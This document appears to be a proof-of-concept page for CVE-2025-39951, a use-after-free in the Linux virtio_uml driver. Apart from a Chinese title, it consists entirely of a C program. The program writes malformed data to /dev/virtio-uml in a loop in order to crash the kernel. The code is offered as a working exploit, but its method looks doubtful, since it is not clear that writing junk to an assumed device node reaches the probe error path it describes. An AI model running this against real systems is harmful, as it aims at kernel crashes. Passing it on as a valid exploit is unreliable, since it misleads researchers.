CVE-2025-39951 Linux内核virtio_uml模块释放后使用漏洞

/* * CVE-2025-39951 PoC - Trigger use-after-free in virtio_uml probe * * This PoC demonstrates how to trigger the use-after-free vulnerability * in the Linux kernel's virtio_uml driver by causing register_virtio_device() * to fail while the registered flag is incorrectly set. * * Note: This requires running on a User-Mode Linux (UML) system. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> #define VIRTIO_UML_DEVICE_PATH "/dev/virtio-uml" /* Function to trigger probe failure by exhausting resources */ int trigger_probe_failure(void) { int fd; int ret; /* Open the virtio_uml device to trigger probe */ fd = open(VIRTIO_UML_DEVICE_PATH, O_RDWR); if (fd < 0) { fprintf(stderr, "Failed to open device: %s\n", strerror(errno)); return -1; } /* Attempt operations that may cause register_virtio_device to fail */ /* By sending malformed configuration, we can trigger the error path */ char buf[4096]; memset(buf, 0xFF, sizeof(buf)); /* Trigger the vulnerability by causing probe failure */ ret = write(fd, buf, sizeof(buf)); if (ret < 0) { fprintf(stderr, "Write failed (expected): %s\n", strerror(errno)); } close(fd); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-39951 PoC - virtio_uml Use-After-Free\n"); printf("Attempting to trigger vulnerability...\n"); /* Try to trigger the vulnerability multiple times */ for (int i = 0; i < 10; i++) { printf("Iteration %d: ", i + 1); if (trigger_probe_failure() == 0) { printf("Triggered\n"); } else { printf("Failed\n"); } usleep(100000); } printf("PoC execution completed.\n"); printf("Check kernel logs for use-after-free or system crash.\n"); return 0; }